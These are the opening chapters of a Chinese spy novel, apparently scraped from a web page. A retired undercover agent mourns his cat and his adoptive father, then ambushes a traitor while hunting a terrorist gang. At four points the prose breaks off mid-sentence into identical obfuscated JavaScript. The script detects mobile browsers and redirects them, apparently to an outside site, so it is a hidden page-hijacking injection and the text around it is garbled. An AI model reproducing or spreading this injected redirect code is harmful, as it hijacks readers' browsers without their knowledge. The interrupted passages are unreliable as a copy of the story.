《山河表里》 1. 序章 褚桓 褚桓的家很不像个家样。 他的公寓地方不小,但布局诡异,没客厅也没阳台,总共一室一卫,并一个开放性的厨房。 “厨房”是摆放冰箱以及晾衣服的地方,没有做饭的功能。 房间的一角是一张单人床,床脚钉死在地上,一侧靠墙,床单被套枕巾一水的惨白,根据尺寸判断,约莫是给人睡的。 另一角则有一排贴着墙边摆放的小沙发,沙发们一个挨一个地坐落在地上,个个坐姿僵硬,装配着形容奇谲的沙发背,夜里黑灯瞎火地乍一看,它们就像一群僵尸,正被老道士罚在墙角蹲马步。 由此间陈设可见,屋主人必定是个怪胎。 与单人床呈对角线的墙角里,有一个猫爬架,一旁还有猫饭碗、猫砂盆等等,上面还隐约可见一些新鲜的毛,显然是属于宠物的地盘。 人和猫的活动空间分得很开,中间犹如隔着一条看不见的楚河汉界,人和猫各过各的,没事谁也不碍着谁。 褚桓的猫名叫大咪,“大咪”这个名字,是他的养父褚爱国给起的。 在褚爱国赐名之前,褚桓一直叫它猫。 对此,他那童心未泯的养父提出了质疑:“你不给它起个名,跟它聊天的时候怎么称呼?多不方便呢。” 这种犀利的问题每每让人无言以对。 褚桓只好回答:“我们俩平时不聊天。” 褚爱国听了十分忧心:“你养只猫居然不跟它聊天,你是变态吗?” 褚桓:“……” 他挺大一个人,每天没事坐在家里跟猫聊天,难道就不变态了吗? 不管是谁比较变态,反正后来“大咪”就变成了猫的新名字,至于它的曾用名是什么,那就没人知道了。 大咪原本不是褚桓养的,三年前,它的前主人因公殉职,不幸翘了辫子,无妻无子光棍一条,只留下这么个杂毛的活物,被褚桓当遗孤给抱了回来。 从体型看,把它抱回来的时候,大咪的年纪就不小了,它颇有几个历经世事的心眼,很会看人脸色,通过察言观色,它明白了自己这个新的衣食父母不喜欢热闹,就一天到晚一声不吭,活动范围也只限于有猫爬架的那一侧,很少到人的地盘上来。 这天凌晨两点多一点,屋主人褚桓正在床上睡觉——他是个单身汉,性情姑且不论,单就相貌而言,他还是人模狗样得无可挑剔的。 黑暗中,大咪突然从沙发缝里钻了出来,迈着猫步小跑到了床边。 它的肉垫踏在地上非常的轻,像羽毛落在雪地上,脚步过处悄无声息,可它乍一冒头靠近,床上的男人立刻就睁开了眼睛,仿佛他脸侧挂着的不是耳朵,而是雷达。 大咪纵身一跃,跳到了褚桓的床头上,用爪子把男人放在床头的眼镜拨到一边,窝了下来。一人一猫在黑暗中对视了良久,大咪缓缓地低下头,闻了闻男人的手指,又轻轻地舔了舔,最后,它娇娇柔柔地叫唤了一嗓子,好像一声一波三折的叹息。 喵完,大咪站起来,攀上床头,又蹿上了大衣柜的顶端,看不见了。 褚桓静静地躺着没有动,他感觉这猫是快要死了。 动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088614|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物死前都会干些什么,褚桓不是很清楚,不错他见过不少死人,其实人也是动物的一种,死亡即将来临的时候,人和猫的眼神会有一种微妙的共通处。 他和大咪相安无事地一起过了三年,前些日子,大咪突然开始莫名其妙地绝食,褚桓给它换了好几种猫粮,都没能改善它的食欲,就带它去了一趟医院。 兽医的诊断结果是没灾没病,只是到了寿数。 它太老了。 褚桓缓缓地翻了个身,仰天面朝天花板,在屋里电器发出的微光下,他摘下了眼镜的脸显得苍白瘦削,好像不怎么健康。 这样发了一会呆,突然,他涣散的目光蓦地凝聚起来,洞穿黑暗,笔直地射向大门的方向。 下一秒,门铃响了。 肯在半夜三更来的,大概就只有不速之客了。 褚桓利索地爬了起来,脸上不见睡意,也不见惊诧,身上的睡衣和刚躺下时一样平整,半宿过去,居然一丝不乱,也不知这么长时间他究竟是睡着了还是没睡着。 他扣上眼镜,连问也没问一声就这么打开了门,似乎早就知道来人的身份——如果不是那一张性冷淡的表情,他看起来就像是迎接偷情对象。 门口的来客帽檐压得很低,只露出一个形状尖削而布满胡茬的下巴,独臂。 当然,他长了几条胳膊都不要紧,要紧的是,那人单只的手上握着一把枪,枪口黑洞洞地指向褚桓。 褚桓神色不动,他是被吓呆了吗? 独臂的客人扣了扳机,手枪发出尖锐而短促的气流声…… 2. 序章 褚桓 什么也没发生,是空枪。 从头到尾,褚桓都连眼皮也没眨一下,他直挺挺地站在那,眼睛半睁不睁地,梦游般地无动于衷。 客人嗤笑一声:“没反应,差评。” 褚桓听了这话,立刻给面子地往后仰了一下头,还前后左右地活动了一下自己的颈椎,用念经般的口吻宣布说:“啊,我死了。” 客人托起自己的帽檐,露出一张属于中年男人的刚硬的面孔,他的目光在褚桓身上遛了一圈,刀似的划过他的骨肉,正色说:“我知道现在很晚了,但是你不该这么没有防备。” 褚桓不置可否,只是笑了一下,他嘴角有点尖,笑起来的时候眼睛一眯,就显得有点坏,再加上一副无框眼镜,他坏得很像一只传说中的衣冠禽兽。 衣冠禽兽慢吞吞地说:“老王,请你往后仰一点,拗个举头望明月的造型,然后说‘茄子’好吗?” 老王怔了一下,随即,他仿佛是明白了什么,往后退了小半步,叹了口气:“你这个人……” 褚桓从睡衣兜里摸出一个指甲盖大的塑料小甲虫,像挂在手机上的玩具手机链,他把甲虫的翅膀翻开,只见里面竟然是个密码器,每个数字按键只有米粒大,褚桓以成年男人的手指粗细,居然能极其灵巧地在这小得不像话的密码器上飞快地输入了十六位的密码。 大门发出一声轻轻的响动,老王的耳朵不由自主地跟着动了一下,他发现屋门两侧,在自己方才所站的位置,咽喉的高度上,有一丝极细的光飞快地一闪而过。 这让他的喉咙不由自主地滚动了一下——那玩意能在他本人还没有知觉的时候就切下他的脖子。 “喀嚓。”褚桓冲他一身冷汗的客人挤挤眼睛,继而好像毫无防备地转过身,留给深夜的不速之客一个修长、但显得有些憔悴的背影。 老王走进屋子,尽管表情十分放松,但肩膀的肌肉却是绷紧的,他的目光不由自主地扫过整个空间,最后找到了一个风水宝地,不等让就自己坐了下来——那是个单独摆在墙角的单人小沙发,人坐在上面,侧脸贴着墙壁,正好能透过窗帘的缝隙把窗外一览无余。 即使这是十八楼。 褚桓的床头上亮着一盏昏暗的床头灯,是整个屋里唯一的光源,不过两个人对采光都没有什么意见。 老王鸠占鹊巢,占了他的座位,褚桓脚步一顿,碍于礼貌没吭声,客气地问:“喝点什么?” 这样正常的待客之道让老王产生了几分“他正常了”的错觉,故而有些欣慰,他眯起眼看着褚桓家里的猫爬架,随口问:“有什么?” 褚桓:“白开水和自来水。” 老王:“……” 狗屁的待客之道。 老王干咳一声,直抒胸臆地表明了来意:“不扯淡了,我不是故意这个点钟过来吵你的,有个要紧事,必须马上告诉你——‘小鬼’没死,据说已经入境了。” 褚桓拎着水壶的动作一顿,良久,他“嗯”了一声,垂下眼,用泡茶的态度,认认真真地给他的客人倒了一杯白开水,倒完一抖手腕,水面刚好和玻璃杯的杯口齐平,一滴不多,一滴不少。 “来就来了,我都退休了,就不用去接待了吧?” 老王:“退休还能返聘,而且小鬼来了,大鬼还远吗?” 褚桓把水壶轻轻地放在了桌角的软垫上。 老王重重地往沙发背上一靠,摸出烟盒,抽出一根点着:“哎,烟灰弹在哪?” 褚桓从茶几下抽出一个巨大的水果托盘递给他,把孤零零的几个小苹果往一起推了推,腾出了一块地方:“这。” “够讲究的。”老王长长地吐出一口烟圈,习惯性地弹了弹烟灰,尽管什么都没弹下来,“小鬼这次摆明了是冲着你来的,那两个鬼你知道,都是缩头乌龟,很少自己出面,错过这一次机会,不知道下次要等到猴年马月了,我一点也不想看他们俩寿终正寝。” 褚桓探身抽出老王口袋里的烟盒,也给自己点了根烟,两个男人隔着一个果盘,面对面地沉默,比着不说话。 老王提到的,是头几年一个臭名昭著的国际犯罪团伙,各国都有不同的叫法,国内一般称之为“两只鬼”。 这两只鬼五毒俱全,什么生意都沾,这其实还都不要紧——主要他们还财大气粗地暗中资助好几拨恐怖组织,这是那群随时准备炸大楼、炸公交车炸地铁的恐怖分子。 对于这路人,斩草不能除根,必然流毒后世。 三年前,东亚东南亚一圈的几个国家,经过了长时间的准备和策划,终于联合展开了“打鬼”行动,反恐、抓捕两项工作双管齐下、同时进行。而褚桓作为整个行动中最重要的一环,在“两只鬼”中潜伏时间长达六年,是他亲手废了“小鬼”,掀了“大鬼”的老巢。 那一回“打鬼”成功地让臭名昭著的“两只鬼”在国际上销声匿迹,当然也有美中不足——小鬼差一口气没死成,而大鬼跑了。 当年拉登一天不死,美国人就一天心神不宁,现在大鬼一天不死,大家也就一天心神不宁。 褚桓默默地把一整根烟抽到烟屁股,对着烟灰发了会呆,这才慢吞吞地说:“哦,好,那我去见见我的老相好们。” 他答应得十分痛快,老王也并不意外,当年的打鬼行动极其惨烈,牺牲无数,三年了,没有人会比褚桓更想结果那两只鬼。 老王抬起头再次仔细打量褚桓的家——说是家,其实只是个房子,把烟灰往果盘里倒的单身汉过的是什么鬼日子,脚趾头也想得出来。 老王撇下公事公办的表情,脸色柔和了一些:“你最近怎么样?” “挺好。”褚桓用俩字搪塞了他,这男人微微伸展了修长的四肢,像个晒足了太阳的懒狮子,一副惬意的大猫模样,他说这话的时候,微微侧过头,目光望向窗帘的方向,好像他能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088615|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透过那块厚厚的遮光布看见满城的夜色,只是不肯对上老王的眼睛。 老王看出他的敷衍,心里微微一沉,嘱咐说:“生活上有什么要求可以提出来,组织上一定会尽可能地满足你。” 褚桓脸上挂上他招牌式的坏笑:“我可能还缺个媳妇。” 老王瞪了他一眼:“没人给你说媒拉纤,想媳妇自己出门寻摸去,整天往屋里一扎,我看你也就能跟猫结婚。” 褚桓:“……王哥,我那猫是个公公。” 他没正没经,简直没有办法正常沟通,老王像个老大哥似的推心置腹说:“王哥没跟你闹着玩,你年纪轻轻,不要总是一天到晚闷在家里,这桩事完了,我帮你推荐转业,找个轻松些的工作,坐坐办公室怎么样?你再这么深居简出,精神上容易抑郁。” 褚桓一副油盐不进的嬉皮笑脸。 老王把话说到了这份上,见他仍然听不进去,也拿他没办法,叹了口气,给他留下了一把枪和几盒子弹,拍了拍褚桓的肩膀:“你……唉,保重。” 把客人送走,褚桓吹着没调的口哨关好门,而后他走回床边,半蹲下来,把手伸到床沿下,一路摸索到了一个小小的开关,一声轻响,床沿翻出一个小小的盖子,那里同样有一个密码盘。 褚桓没有把头塞进去看,看也没用,密码格上没有数字,每个按键上的排列顺序是乱的,需要把日期带入复杂的公式里算,算完才知道哪个键是什么数。 “嘀”一声,褚桓已经输完了六位数的密码,床沿上荧光一闪,厚达五十公分的床板缓缓裂开,里面露出一个横平竖直的工具箱,箱子旁边挂着一把军刺,三棱身,灰白色,刃上不见一丝光,沉默而嘶哑地竖在那。 如果密码错了或者企图暴力破坏装置,那么不会被吞卡,账户也不会被冻结,顶多是在床边被穿成人肉串。 箱子打开后有很多层,里面什么东西都有,各种陈旧的文件袋,成打的身份证件。 褚桓花了好一会的时间,才把里面的东西都整理了一边,最后,他从箱底摸出了一张照片。 照片上是一个中年男人,牵着一个面无表情的小男孩,背面蹭了一团看不清原貌的污迹。 不过褚桓记得那原本不是污迹,是一行铅笔写的孩儿体,时间太长,已经被蹭花了,写了什么来着? 唔……好像是“爸爸和我”。 那时候褚爱国还这么年轻呢。 他拿着那张照片,又不知道陷入了什么思绪里,长久地跪坐在冰冷的地板上。 良久,衣柜顶上传来一声轻响,像是有什么东西撞到了上面的金属框架,褚桓这才回过神来,侧头叫了一声:“大咪?” 屋里除他以外唯一的活物、衣柜顶的大咪没有回答,褚桓就低下头,把军刺抽了出来,而后将其他的东西全部付诸一炬。 他有种预感,无论自己是死是活,都不会再回来了。 3. 序章 褚桓 凌晨,褚桓把灰烬扫成了一堆,又踩着凳子趴在大衣柜上看了一眼,在那找到了猫咪已经冰冷僵硬的尸体——它昨天破例上了他的床,看来确实是出来告别的。 楮桓挽着袖子,在满是尘土的衣柜顶上趴了一会,心里说不出是什么滋味。忽然,他的手机响了一声,他拿起来一看,是一条来自护工发来的短信:“到点了,来和我说拜拜吧。” 褚桓和五十多岁的护工女士并没有雇佣以外的不正当关系,这条没头没尾的信息一看就来自于褚爱国,那老家伙又不知怎么摸走了人家的电话。 褚桓把军刺和枪收好,换了一身黑衣服,整理了一个简单的行囊,翻出一个旧鞋盒子,把猫放了进去,用纸灰盖住它的身体,只剩下一个圆溜溜的脑袋露在外面,埋在了楼下的大松树下。而后,他把帽檐压了压,在路边拦了一辆出租车,报了医院的名字,靠在车座靠背上闭目养神。 他要去探望褚爱国。 嗯,最后一面。 褚爱国是个奇人,别人都说他长得像说相声的马三立先生,这么说的人多了,褚爱国就因此成了马老先生的粉丝,没事就抱着个小收音机听,听得时间长了,口条和语气一并跟着学了过去,成了个一开口能以假乱真的超级明星脸。 他住的病房是个单间,褚桓进去以后回手带上了门,正要往里走,被病床上干瘦如僵尸的老头子喝止了。 老人虽然声音嘶哑,却自有一番慢条斯理的悠然自得:“哎——等等,你的行套呢?” 褚桓的脚步顿了顿,从裤兜里摸出一张餐巾纸,展开以后三折两折,又在袖口处抽出一根钢针,徒手一弯折,插/进餐巾纸里做固定,飞快地制作了一朵简易的小白花,别在了领口。他对着窗玻璃,整了整自己的黑色西装外套,完成了这个“上坟”的造型,这才迈步走到了老人的病床边。 褚桓:“褚爱国先生……” 褚爱国浑浊的眼睛一瞪,一时间居然瞪出了一点慑人的精气神来:“什么表情?你……你给我喜庆、喜庆点。” 褚桓低头看看自己的装束,弯下腰对养父说:“这不是正要与世长辞呢么,喜庆像话吗?” “怎么不像话,活着喜庆,死了也喜庆。”褚爱国每一次呼吸,胸腔都发出可怕的声音,好像肺已经漏了,他吭哧吭哧吃力地说,“我不听‘谁谁谁永远活在你心里’那套词,那我不成了钉子户吗?将来把我儿媳妇往哪搁啊?” “您这份心操得真是来日方长,您那儿媳妇还不知道在哪位女同志的肚子里呢,”褚桓顿了顿,妥协说,“那您打算听哪段?” 褚爱国:“噎死爱肚的那段。” 褚桓花了半分钟,才反应过来这“噎死爱肚”是个什么肚,他叹了口气,感到十分忧郁,试图和褚爱国讲道理:“爸,那是结婚用的。” 褚爱国闻言大怒,干瘦的拳头把病床砸得“咣咣”作响,一唱三叹地嚎丧说:“这不……这不就是因为我活不了几分钟了么?这就、这就没人管了,没人待见了,我成了那个烂在菜地里的老白菜帮……” “好好好,结婚,就结婚,”褚桓连忙投降,低声下气地请示说,“那您打算跟谁结呢?” 褚爱国:“我打算把阎王娶回来给你当后妈。” 褚桓彻底折服在老父宁死要当小白脸的气魄下:“爸,我看您这精神头,一时半会可能还和我那后妈团聚不了,有点向天再借五百年的意思。” “我这叫回光返照。”褚爱国幽幽地看了他一眼,“借你个头。” 褚桓搬了把椅子在他身边坐下,轻声问:“怎么不能借呢?” 褚爱国就破风箱一样“呼哧呼哧”地笑了起来,稀疏的眉毛一挑,依稀是苍老与时光都带不走的桀骜不驯:“你老子不良贷款记录忒多,他们怕了老子啦。” 褚桓定定地看了他一会,酝酿了片刻,拿腔拿调地开口说:“褚爱国先生,请问你是否在阎王爷的呼唤下,来到这里接受神圣的临终仪式?” 褚爱国配合地回答:“谁说不是呢?” 褚桓:“你是否愿意离开你身边这个……人口众多的世界,告别它,不再见它,不再留恋它,像丢掉一块破抹布一样,在以后的日子里,不论它和平或战争,歌舞升平或满目疮痍,始终不再顾念于它,相失相忘,直到这个世界也忘记你?” 褚爱国对这没溜的司仪颇为不满意,骂道:“你还有没有好话了?那他妈谁愿意?” 褚桓面无表情地轻声说:“爸爸,那恐怕就由不得你了。” 褚爱国听了,发了片刻的呆,嘀咕说:“也是——你把我那个……那个床头柜打开,里面有个盒子,给我拿出来。” 褚桓依言找到了褚爱国先生说的盒子,打开一看,只见里面是一个素圈的铂金戒指。 褚爱国说:“有字,看见了吗?” 素圈里端端正正地用充满了艺术风的字刻了个煞风景的内容——“逗你玩”。 褚桓:“逗你玩?” 褚爱国艰难地点点头:“逗你玩——我问你,你……你那个最近,最近还有没有那种感觉?” 褚桓:“哪种?” 褚爱国抬起枯瘦的手,攥住了楮桓的手腕:“对什么都没有期待,对生活没有愿望,好像怎么也高兴不起来,头疼得直恍惚,连撸/管都懒得动手……” 楮桓故作震惊:“爸,您都黄土埋到脑袋顶了,能别这么老不正经吗?” 褚爱国充耳不闻,浑浊的目光灼灼地盯住他:“有吗?” 楮桓眼皮也不眨地说:“绝对没有。” 褚爱国的手紧了紧:“说实话。” 楮桓:“……” 这一次,他沉默了良久,镜片后的目光看不分明,只是很黑,很沉,好半晌,他才牵扯了一下嘴角,轻佻地说:“只是偶尔,谁也不天天撸,伤身。” 褚爱国长长地吐出一口浊气:“有一次我看见你站在窗前,像是要跳下去的模样……” 楮桓嗤笑一声:“不可能,‘啪叽’一下砸地上多污染环境,我像是那么没有公德心的吗?” 褚爱国不理会他的玩笑,一声不吭地盯着他,良久,楮桓终于在老妖精咄咄逼人的目光下败下阵来,率先移开了视线,笑容渐散:“……就那一次。” 褚爱国:“后来怎么没跳?” 褚桓回答:“‘两只鬼’还没抓住呢。” 褚爱国合了合眼:“还能想起这个,说明还有救,你……你记着,桓者,国之栋梁也……” 褚桓忍无可忍地打断他:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088616|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您快拉倒吧,我查字典了,那玩意不就是大木头柱子的意思么?” “大木头柱子怎么了?身上纹一圈山河表里,就能顶天立地。”褚爱国一瞪眼,“可是顶天立地……也没说让你自己一柱擎天。” 褚桓眼角微微抽搐了一下:“爸,您这一身流氓气概没地方可耍,只好冲我来是吧?” 褚爱国喘了口气,觑着褚桓放在病房门口的包,声音微颤,气如游丝:“你这个王八蛋,真是淫者见淫啊……我是说啊,你要多出来看看外面的世界,别老想着做好自己分内的事,就一了百了生死不论了,现在没人往你肩膀上压担子啦,你不要老是自己钻牛角尖,实在要是扛不住了,去医院看,开点药吃,都不丢人,别死扛着……啊?以后我不在,没人管得了你了,唉……” 褚桓没吭声,似乎是听进去了,又似乎是打定了主意要阳奉阴违。 褚爱国无比挂心地看了他一眼:“你这是要出远门哪?” 褚桓点了点头:“嗯,过几天走,我先去办点事。” “你走了大咪怎么办,给谁养着了?” 褚桓顿了顿:“大咪寿终正寝了。” “噫,”褚爱国嘬着牙花子感慨了一声,“不好,罪过罪过,临死还连累了一只小母猫给我殉情。” 褚桓觑着他笼上死气的脸,觉得这时候告知他真相有点残忍,于是将大咪是个公公的事实隐而不提,保全了老头这份桃色纷飞的人/兽情未了幻想。 一老一少彼此沉默了片刻,老人方才大呼小叫的力气似乎用完了,他感觉得到自己的生命正在飞快地流逝。 阳光从窗棂里扫进来,正是个光影分明的大晴天,褚爱国气如游丝地说:“你……把戒指戴上。” 有生以来戴的第一个戒指,居然来自自己的秃顶老爸,褚桓觉得这个事实有点残酷,不过他还是顺从地戴在了中指上。 戒指严丝合缝,那“逗你玩”仨字如同给他量身定制的。 “我就快死了。”老人说着,缓缓地抬起眼。 那一刻,苍老的目光遇上了年轻的视线,那年轻男人的眼睛是幽静的,让人一眼看进去,就忍不住心生凉意。 褚桓收敛了满身地惫懒,低低地应了一声:“嗯。” 褚爱国问:“你能活到七老八十吗?” 褚桓犹豫了半晌,才慎重地回答说:“我会尽量。” 褚爱国问:“遇到困难的时候怎么办?” 褚桓似乎把这个问题听进去了,想了好一会,随后,他的脸上露出了一个吝啬的笑容:“逗你玩。” “好,好,要好好的……”褚爱国抓着褚桓的手晃了晃,好像用尽了最后的力气。 随后,他的身体猛地一僵,就像是心事已了,杳无牵挂,连说了几个“好”字,彻底地闭了眼。 褚桓握着这刚刚跨过生死边境、还未及变冷的手,也跟着闭上了眼睛,他仿佛听见了远处灌进屋的风声,忽忽悠悠的,心里落地成灰一片霜地寂寞下来。 “好,”他对着听不见的人说,“再见。” 他感觉到了头重脚轻的空茫,仿佛除了嚣张在外尚未逮捕归案的两只鬼以外,人世间,就只剩下这么一个“好”字沉甸甸地坠着他,把他固定在脚下这片地上。 4. 序章 褚桓 三个月后。 一辆越野车正飞驰,车开得很野,在崎岖的盘山路上开出了F1赛场一般风驰电掣的感觉,恨不得四个轱辘同时离开地面。 盘山路维护不易,这里又地处偏远,可想而知路况是个什么鸟样。 只见那路面如同麻子脸,一下雨就得是“大小湖泊星罗棋布”的人间胜景,道路靠山一侧紧挨着嶙峋的山石,山石们三五一群凑在一起,抱团成随时准备大规模山体滑坡的姿势,远山一侧则是山崖,山崖那边连半块砖头的遮挡物都没有,人从车里一探头,都能看见山脚下九曲十八弯的小河,远处间或有几个危房列队在半山腰上,显得飞檐走壁、十分不凡。 车行险路,到了那最窄的地方,车身忽悠而过,跟山崖相距不到二十公分,仿佛悬空而过,随时准备失足。 而开车那疯子一只手拎着把手枪,虚虚地搭在方向盘上,尽管将汽车开成了嫦娥三号,表情却依然是轻松写意的。 山风顺着打开的车窗缝隙把他的头发吹得群魔乱舞,待到下车,恐怕又将有一个远郊区县杀马特横空出世。 在越野车轰鸣的行车噪音和超级玛丽顶蘑菇的声音中,还夹杂着细微的挣扎声,只见一个男人被五花大绑在副驾驶上,额角全是虚汗,不知是吓得还是怎样,那人的嘴被擦车的抹布塞得满满当当,眼睛里闪烁着惊骇欲绝的光。 “褚桓,褚桓收到请回话。” 正开着车的褚桓带着一点说不清道不明的坏笑,偏头看了副驾上快吓尿的男人一眼,亲昵无比地用枪托在对方的脑袋上敲了两下:“收到,讲。” 那一边,老王飞快地说:“行动取消,你现在立刻带人掉头回来,我再说一遍,行动取消,小鬼显然是他们的弃子,大鬼的目标是你,咱们这边的霍辉可能已经……” 褚桓悠然接上:“叛变了。” 老王蓦地一滞,片刻后,他回过神来,急迫地低声问:“霍辉现在在哪?你又在哪?” 褚桓笑眯眯地问:“哦,他在我旁边,跟我一起兜风呢,你想找他聊聊吗?” 老王沉默了片刻,听他这么有底,似乎是放下心来:“你居然……你小子,怎么知道的?” 这一次大小鬼悍然入境,是打算垂死一搏,押送一批压箱底的军火给□□,其实他们的押运路径大可以绕开中国,突然临时改道,就是因为得到了褚桓的消息——两只鬼心头大恨,除了他以外没有第二个人。 三年来,为了保护楮桓,他只和老王有联系,日子也过得深居简出,但是智者千虑必有一失,保密严格,也架不住有人处心积虑地要找他。 无论是政府方面还是恐怖分子方面,这一次行动都倾注了很大的力量,他们都知道,这回是真格的,非死即活,要么彻底把两只鬼斩草除根,要么眼睁睁地看着他们死灰复燃。 老王作为行动总负责人,谨慎得让人发指,楮桓有很长一段时间都是住在他办公室里的,两个人事先对所有细节都进行了反复推敲。 到现在为止,他们内部就已经清理出三四个有问题的人,正在接受隔离调查。 他们理应准备得天衣无缝,可是…… 不过其实也是,如果两只鬼那么好对付,当年亚洲各国就绝不会任凭他们横行那么久。 现在,两只鬼的大部队已经成功地被扣住,中方缴获了所有军火,又据线人消息,找到了小鬼一支人的落脚点,他们兵分两路,老王带人堵截小鬼,褚桓奉命搜捕大鬼,这一次天罗地网,只差“取了两只鬼人头”的最后一哆嗦,没想到还是出了岔子。 内部出了叛徒,还有比这更让人郁闷的么? 越野车惊险地拐过一个巨大的弯角,后轮打滑发出刺耳的尖叫,与险象环生的行车形成鲜明对比的,是楮桓那不轻不重、不温不火、几乎和褚爱国一脉相承的语调:“哎呀,这个么,说不清,要说也就是感觉,我的专业就是鬼混,所以跟他们沾了一身的鬼气。” 老王:“扯鸡/巴淡,那你他妈怎么不早说,现在怎么办……等等,姓褚的,你不会又给我脱队了吧!” 褚桓无视他的咆哮,毫不慌张,还给自己解释了几句:“我又不会算卦,平白无故的,我哪知道哪个是内鬼?人家的杀手锏是用在刀刃上的,咱们也得上了刀刃才能试探得出来嘛——再者,你看看,这回大鬼为了干掉我,不惜把他的棺材本都拖出来了,咱们真的假的,好歹得配合着把他们一网打尽才好啊。” 老王了解他的尿性,冷汗顿时就下来了,两只鬼从西南边境入境,他们经过严格论证,将截杀地点也选在了这里,尽可能避开人烟。而此地地形复杂,虽然能定位,但是一时半会,他们的人绝对追不上褚桓的。 那小眼镜平时慢慢腾腾,一副老实巴交的模样,关键时刻真是不靠谱得六亲不认。老王回想当年自己带出来的这一批人,如今硕果仅存的只剩下褚桓一个,如果他也…… “不管你想干什么,给我滚回来,立刻,马上,现在!” 褚桓“嘿嘿”一笑:“别介,我难得把仇恨拉得这么稳当,错过这一次,怪就不好刷了。” 老王:“……” 他想一枪打爆小眼镜的头。 楮桓:“而且现在说这话也晚了——我车底下有炸弹,你知道吗?” 老王失声叫出来:“什么?” 褚桓两根手指夹住一个小小的芯片,插/入了他自己的眼镜腿里,轻轻地一按,他那平光的镜片上立刻高科技地跳出了本地的卫星图,角落里浮现了一行小字:可读取,正在载入,请稍候。 他弯起眼睛冲着旁边瞠目欲裂的叛徒霍辉笑了一下,空手模拟了一个脱帽致谢的动作:“东西做得好精致嘛,霍辉兄,你这个卧底做得比我当年还细致,代表组织谢谢你了。” 载入完毕,一簇小红点出现在他的镜片上。 “可能他们怕炸不死我,前面还有十三、十四嗯……十五个等着给我收尸的。”褚桓愉悦地对老王说,“记着我们之前讨论过的,他们怕我们动用直升机和重型武器,接应必然在北边的镇子里,携带的军火肯定应该还有一批,今天那有大集,保不准他们会想方设法混进老百姓中间,我已经让兄弟们去那头了,那里要是能清理干净,今天大鬼前后无援,就没跑了。” 老王:“你……” 楮桓径自打断他的话:“你放心吧——稍后联系,我要准备炸车了。” 老王:“等……” 褚桓已经不由分说地切断了通讯。 两分钟后,越野车驶入一片山林地带,骤然失控,从盘山道上整个侧翻了下去,在半空中就爆炸了,惊天动地的巨响炸起了整个山林中的鸟,翻下山崖的车燃起滚滚浓烟。 这车刚一翻下去,一声悠长的呼哨声就蓦地响起,山上林子山下巨石掩映中,突然窸窸窣窣地冒出很多人,显然是埋伏在这里很久了。 林子里有八个人,下面石头坡上有七个,手里都拎着灭火工具。 而车的第二次爆炸会发生在五分钟之内,五分钟刚好够他们快速靠近,一旦爆炸结束,对方立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088617|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就能判断出车里根本就没有人。 楮桓坐在一块山崖边上的大石头后面,从怀里摸出一块怀表。 眼镜上的红点提示着他敌人的大致方向,但他知道这不全部——大鬼绝不在眼镜的视野里,但以他对大鬼的了解,对方眼下一定在现场。 褚桓端着他的军刺,尖端就卡在那被五花大绑的叛徒咽喉处,那人的嘴被严严实实地堵着,此时不敢发出一点声音。 褚桓的手很有艺术感,手掌有一点薄,手指修长,指甲修的干净整齐,霍辉知道他的手极稳,只要心里稍稍动一个念头,那把貌不惊人的□□立刻就会在自己的喉咙上捅出一个血窟窿。 他不知道褚桓为什么不把他留在爆炸的车上。 褚桓从兜里摸出一支烟叼在嘴上,怕暴露位置,没有点着,只是闻一闻尝尝味道。 “你知道王哥有个女儿吗?”他似乎随口提起,语气不咸不淡,好像同事间的闲聊,“特别招人喜欢,小时候玩过家家,别的傻丫头都拿石头切草叶子,要么就是扔两条虫子到碗里假装是炸带鱼,我们这些被临时抓来陪小丫头玩的配角还得假装好吃,二透了——就她不一样,就她玩得又入戏又认真,给我们吃的东西都放在洗干净的小碗里,兑上牛奶,有时候还会再倒一勺冰激凌。” 褚桓说这话的时候,嘴角微微带了一点笑意,可眼神却又是清明而冷漠的。 